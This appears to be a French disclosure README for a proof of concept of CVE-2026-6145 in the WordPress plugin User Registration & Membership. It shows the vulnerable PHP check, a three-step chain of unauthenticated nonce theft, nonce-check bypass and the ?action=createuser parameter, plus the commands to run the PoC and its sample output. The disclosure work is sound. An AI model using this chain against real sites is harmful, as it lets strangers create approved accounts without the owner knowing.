
Inscription des utilisateurs et adhésion <= 5.1.5 - Contournement de l'approbation administrateur par absence d'autorisation non authentifiée via le paramètre 'action'
Preuve de concept pour CVE-2026-6145, une vulnérabilité d'autorisation manquante dans le plugin User Registration & Membership pour WordPress (≤ 5.1.5) permettant à des attaquants non authentifiés de contourner l'exigence d'approbation admin lors de la création de nouveaux comptes.
| Identifiant CVE | CVE-2026-6145 |
| CNA | Wordfence |
| Vulnérabilité | Autorisation manquante — Contournement de l'approbation admin |
| CWE | CWE-862 (Autorisation manquante) |
| CVSS 3.1 | 5.3 Moyen (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Affecté | User Registration & Membership pour WordPress — toutes les versions ≤ 5.1.5 |
| Corrigé | Version > 5.1.5 |
| Chercheur | Anthony Cihan — Offensive Security Lead, Obviam |
| Divulgation | Programme de divulgation responsable Wordfence |
| Publié | 2026-05-14 |
La méthode is_admin_creation_process() dans includes/class-ur-user-approval.php est la seule porte qui détermine si une nouvelle inscription doit être traitée comme une création initiée par l'administrateur. Lorsque cette méthode renvoie true, deux effets secondaires se produisent :
set_user_status() définit le statut du nouvel utilisateur à APPROUVÉ, en contournant la file d'attente d'approbation en attente.send_request_notification_to_admin() supprime l'e-mail de notification admin pour la nouvelle inscription.La méthode elle-même, dans la version 5.1.5, ne contient aucune authentification, autorisation ou vérification de nonce :
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Étant donné que $_REQUEST fusionne $_GET, $_POST et $_COOKIE, un attaquant non authentifié peut satisfaire cette vérification en ajoutant ?action=createuser à l'URL d'une soumission de formulaire d'inscription. Le plugin approuve alors automatiquement le compte et n'alerte jamais l'administrateur.
Alors que CVE-2026-6145 traite spécifiquement de l'autorisation manquante dans is_admin_creation_process(), une exploitation non authentifiée complète contre un formulaire d'inscription durci nécessite de la chaîner avec deux problèmes annexes dans la même version du plugin, que le PoC inclus gère automatiquement :
| Étape | Problème | Objectif |
|---|---|---|
| 1 | Génération de nonce non authentifiée via le point de terminaison wp_ajax_nopriv de user_registration_get_recent_nonce (vérification uniquement sur le Referer) | Obtenir un ur_frontend_form_nonce valide sans session authentifiée |
| 2 | Contournement de la vérification AJAX nonce lorsque ur_fallback_submit n'est pas vide dans le gestionnaire de formulaire | Soumettre l'inscription via le chemin de secours sans referer AJAX valide |
| 3 | CVE-2026-6145 — action=createuser dans $_REQUEST bascule is_admin_creation_process() à true | Approuver automatiquement le nouveau compte et supprimer la notification admin |
Le résultat : un compte utilisateur entièrement approuvé, créé sans interaction ni notification de l'administrateur, sur un site qui exige explicitement l'approbation admin pour les nouvelles inscriptions.
requestsdata-form-id)git clone https://github.com/<votre-nom-utilisateur>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <url_cible> <id_formulaire>
Exemple :
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
Après avoir exécuté le PoC, connectez-vous à wp-admin et allez dans Utilisateurs → Tous les utilisateurs :
Sur les sites WordPress qui utilisent l'approbation admin comme porte principale contre la création non désirée de comptes—courant pour les sites d'adhésion, les communautés fermées, les portails internes, les plateformes B2B, et tout site nécessitant une vérification d'identité avant l'accès—cette vulnérabilité neutralise silencieusement ce contrôle. Conséquences spécifiques :
Le score CVSS reflète un impact uniquement sur l'intégrité (pas de perte directe de confidentialité des données ou d'interruption de service), mais l'impact dans le monde réel dépend de la mesure dans laquelle le site affecté se repose sur le processus d'approbation comme frontière de sécurité.